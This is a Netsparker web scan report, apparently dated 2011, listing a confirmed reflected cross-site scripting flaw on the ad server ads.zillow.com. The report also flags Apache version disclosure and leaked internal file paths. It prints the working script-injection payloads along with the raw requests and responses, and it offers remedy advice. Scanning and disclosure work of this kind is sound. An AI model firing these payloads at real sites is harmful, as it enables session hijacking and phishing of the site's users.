XSS, Cross Site Scripting, CWE-79, Javascript Injection, ads.zillow.com

Netsparker - Scan Report Summary

TARGET URL	http://ads.zillow.com/s/show?format=HTML&prid...
SCAN DATE	3/12/2011 5:15:30 PM
REPORT DATE	3/12/2011 5:23:24 PM
SCAN DURATION	00:00:21

Total Requests

Average Speed

req/sec.

identified

confirmed

critical

informational

GHDB, DORK Tests

PROFILE	Previous Settings
ENABLED ENGINES	Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting

Authentication

Scheduled

VULNERABILITIES Vulnerabilities
	IMPORTANT 33 % LOW 33 % INFORMATION 33 %

Cross-site Scripting

1 TOTAL

IMPORTANT

CONFIRMED

XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Hi-jacking users' active session
Changing the look of the page within the victims browser.
Mounting a successful phishing attack.
Intercept data and perform man-in-the-middle attacks.

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /s/show

/s/show CONFIRMED

http://ads.zillow.com/s/show?'"--></style></script><script>alert(0x0001EB)</script>

Parameters

Parameter	Type	Value
format	GET	HTML
prid	GET	search/ResurrectionSearchPage
chan	GET	1
rid	GET
f3b2d%3Cscript%3Ealert(%22XSS%22)%3C/script%3E8ccf8a29efa	GET	1
Query Based	QUERYSTRING	'"--></style></script><script>alert(0x0001EB)</script>

Request

GET /s/show?'"--></style></script><script>netsparker(0x0001EB)</script> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: ads.zillow.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 12 Mar 2011 23:15:04 GMT
Server: Apache/2.2.9 (Debian)
Cache-Control: max-age=0, no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 503
Content-Type: text/html; charset=UTF-8

<html><head></head><body style="width:300px;height:200px;overflow:hidden;border:0px;margin:5px;text-align:center"><div id="haiku" style="height:3em;position:relative;top:50%;margin-top:-2em; color:#D2D2D2;">Oops -- Our ad server<br/>seems to be taking<br/>a siesta. Be back soon!<br/></div><div id="stack" style="display:none">Traceback (most recent call last): File "/opt/zillow/services/showcase-display-server-1.2.6/server/show_wsgi.py", line 235, in show_web resp = show_request (req) File "/opt/zillow/services/showcase-display-server-1.2.6/server/show_wsgi.py", line 140, in show_request pm.convert_params (PARAM_NAME_MAP, req.params, params) File "/opt/zillow/services/showcase-display-server-1.2.6/server/param_mapper.py", line 99, in convert_params raise Exception ("unknown parameter (%s)" % k)Exception: unknown parameter ('"--></style></script><script>netsparker(0x0001EB)</script>)</div></body></html>

Apache Version Disclosure

1 TOTAL

LOW

Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.

- /s/show

/s/show

http://ads.zillow.com/s/show?format=HTML&prid=search/ResurrectionSearchPage&chan=1&rid=&f3b2d%3Cscri..

Extracted Version

Apache/2.2.9 (Debian)

Request

GET /s/show?format=HTML&prid=search/ResurrectionSearchPage&chan=1&rid=&f3b2d%3Cscript%3Ealert(%22XSS%22)%3C/script%3E8ccf8a29efa=1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: ads.zillow.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 12 Mar 2011 23:14:59 GMT
Server: Apache/2.2.9 (Debian)
Cache-Control: max-age=0, no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 505
Content-Type: text/html; charset=UTF-8

<html><head></head><body style="width:300px;height:200px;overflow:hidden;border:0px;margin:5px;text-align:center"><div id="haiku" style="height:3em;position:relative;top:50%;margin-top:-2em; color:#D2D2D2;">Oops -- Our ad server<br/>seems to be taking<br/>a siesta. Be back soon!<br/></div><div id="stack" style="display:none">Traceback (most recent call last): File "/opt/zillow/services/showcase-display-server-1.2.6/server/show_wsgi.py", line 235, in show_web resp = show_request (req) File "/opt/zillow/services/showcase-display-server-1.2.6/server/show_wsgi.py", line 140, in show_request pm.convert_params (PARAM_NAME_MAP, req.params, params) File "/opt/zillow/services/showcase-display-server-1.2.6/server/param_mapper.py", line 99, in convert_params raise Exception ("unknown parameter (%s)" % k)Exception: unknown parameter (f3b2d<script>alert("XSS")</script>8ccf8a29efa)</div></body></html>

[Possible] Internal Path Leakage (*nix)

1 TOTAL

INFORMATION

Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.

Remediation

Error messages should be disabled.
Remove this kind of private data from the output.

External References

OWASP - Full Path Disclosure

- /s/show

/s/show

http://ads.zillow.com/s/show?format=HTML&prid=search/ResurrectionSearchPage&chan=1&rid=&f3b2d%3Cscri..

Identified Internal Path(s)

/opt/zillow/services/showcase-display-server-1.2.6/server/show_wsgi.py
/opt/zillow/services/showcase-display-server-1.2.6/server/param_mapper.py

XSS, Cross Site Scripting, CWE-79, Javascript Injection, ads.zillow.com

Total Requests

Average Speed

GHDB, DORK Tests

VULNERABILITIES

Cross-site Scripting

Impact

Remedy

Remedy References

External References

/s/show CONFIRMED

Parameters

Request

Response

Apache Version Disclosure

Impact

Remedy

/s/show

Extracted Version

Request

Response

[Possible] Internal Path Leakage (*nix)

Impact

Remediation

External References

/s/show

Identified Internal Path(s)

Request

Response